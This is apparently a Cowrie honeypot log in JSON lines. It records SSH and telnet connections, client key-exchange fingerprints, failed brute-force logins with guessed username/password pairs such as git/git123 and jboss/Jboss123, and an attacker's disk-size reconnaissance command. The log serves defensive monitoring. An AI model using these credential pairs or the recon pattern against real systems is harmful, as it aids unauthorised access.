{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.292984Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.685987Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.689653Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.873745Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.878648Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":35288,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec44e01958a8","protocol":"ssh","message":"New connection: 135.181.101.111:35288 (159.203.135.109:22) [session: ec44e01958a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:54.944398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:54.948695Z","src_ip":"135.181.101.111","session":"ec44e01958a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:55.083266Z","src_ip":"135.181.101.111","session":"ec44e01958a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mooning","password":"MOONING2017","message":"login attempt [mooning/MOONING2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:55.301964Z","src_ip":"135.181.101.111","session":"ec44e01958a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:56.411985Z","src_ip":"135.181.101.111","session":"ec44e01958a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47440,"dst_ip":"159.203.135.109","dst_port":22,"session":"d726cfbf3f5a","protocol":"ssh","message":"New connection: 162.120.6.20:47440 (159.203.135.109:22) [session: d726cfbf3f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.512097Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.583248Z","src_ip":"162.120.6.20","session":"d726cfbf3f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47442,"dst_ip":"159.203.135.109","dst_port":22,"session":"8af53cc1246b","protocol":"ssh","message":"New connection: 162.120.6.20:47442 (159.203.135.109:22) [session: 8af53cc1246b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.653304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.658032Z","src_ip":"162.120.6.20","session":"8af53cc1246b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.730406Z","src_ip":"162.120.6.20","session":"8af53cc1246b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:42.947683Z","src_ip":"162.120.6.20","session":"8af53cc1246b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:44.021992Z","src_ip":"162.120.6.20","session":"8af53cc1246b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":51050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dd5147a688a","protocol":"ssh","message":"New connection: 80.94.95.115:51050 (10.17.0.5:22) [session: 2dd5147a688a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:58.061467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:58.870561Z","src_ip":"80.94.95.115","session":"2dd5147a688a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:59.014681Z","src_ip":"80.94.95.115","session":"2dd5147a688a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:30:59.841955Z","src_ip":"80.94.95.115","session":"2dd5147a688a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:00.966848Z","src_ip":"80.94.95.115","session":"2dd5147a688a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":50374,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf32ae14e4d","protocol":"ssh","message":"New connection: 212.11.64.156:50374 (159.203.135.109:22) [session: ddf32ae14e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:24.916567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:24.920826Z","src_ip":"212.11.64.156","session":"ddf32ae14e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:25.015992Z","src_ip":"212.11.64.156","session":"ddf32ae14e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"Jboss123","message":"login attempt [jboss/Jboss123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:25.430939Z","src_ip":"212.11.64.156","session":"ddf32ae14e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:26.529181Z","src_ip":"212.11.64.156","session":"ddf32ae14e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":53736,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc1724af27b","protocol":"ssh","message":"New connection: 138.128.241.222:53736 (159.203.135.109:22) [session: 2fc1724af27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:31.559437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:31.564876Z","src_ip":"138.128.241.222","session":"2fc1724af27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:31.569973Z","src_ip":"138.128.241.222","session":"2fc1724af27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chain","password":"CHAIN","message":"login attempt [chain/CHAIN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:31.586542Z","src_ip":"138.128.241.222","session":"2fc1724af27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:31:32.594781Z","src_ip":"138.128.241.222","session":"2fc1724af27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":55796,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd0a3d61ee3","protocol":"ssh","message":"New connection: 156.238.246.148:55796 (10.17.0.5:22) [session: 9cd0a3d61ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:29.969078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:29.973715Z","src_ip":"156.238.246.148","session":"9cd0a3d61ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:30.181559Z","src_ip":"156.238.246.148","session":"9cd0a3d61ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":59010,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f486a2f9743","protocol":"ssh","message":"New connection: 34.81.72.185:59010 (159.203.135.109:22) [session: 7f486a2f9743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:30.937883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:30.942288Z","src_ip":"34.81.72.185","session":"7f486a2f9743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikhil","password":"nikhilpass","message":"login attempt [nikhil/nikhilpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:31.045790Z","src_ip":"156.238.246.148","session":"9cd0a3d61ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:31.132319Z","src_ip":"34.81.72.185","session":"7f486a2f9743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patricia","password":"patricia@123456","message":"login attempt [patricia/patricia@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:31.922855Z","src_ip":"34.81.72.185","session":"7f486a2f9743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:32.256286Z","src_ip":"156.238.246.148","session":"9cd0a3d61ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:33.115861Z","src_ip":"34.81.72.185","session":"7f486a2f9743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.193","src_port":48098,"dst_ip":"10.17.0.5","dst_port":23,"session":"362870a2fcd6","protocol":"telnet","message":"New connection: 66.132.172.193:48098 (10.17.0.5:23) [session: 362870a2fcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:38.282505Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.216.185","src_port":57358,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12603eecb74","protocol":"ssh","message":"New connection: 115.190.216.185:57358 (10.17.0.5:22) [session: b12603eecb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:32:39.757037Z"}
